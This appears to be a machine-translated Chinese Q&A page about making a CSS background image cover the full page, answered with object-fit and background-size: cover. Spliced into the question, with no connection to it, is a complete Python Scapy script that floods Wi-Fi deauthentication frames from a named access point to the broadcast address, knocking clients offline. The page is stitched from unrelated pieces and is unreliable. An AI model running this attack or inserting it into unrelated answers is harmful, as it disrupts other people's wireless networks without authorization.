我的CSS背景图像不能满足页面底部的需求,但是页面底部仍然有一些空白,我该如何使用背景图像满足页面的需求?
from scapy.all import *
conf.iface = 'wlan1mon'
ap = '34:af:90:4a:bb:57'
client = 'ff:ff:ff:ff:ff:ff'
__pkt = RadioTap() / Dot11(addr1=client, addr2=ap, addr3=ap) / Dot11Deauth(reason=2)
sendp(__pkt, count=70)
答案 0 :(得分:0)
您可以尝试
object-fit:contain;
或
object-fit:cover;
答案 1 :(得分:0)
我相信您的代码应该可以运行,但是请尝试以下操作:
body {
background-image: url('https://images.unsplash.com/photo-1531490744426-b6fc85d35692?
ixlib=rb-0.3.5&ixid=eyJhcHBfaWQiOjEyMDd9&s=d4d73c712fdb8799f077d7c2f77af115&auto=format&fit=crop&w=2467&q=80');
background-size: cover;
background-repeat: no-repeat;
}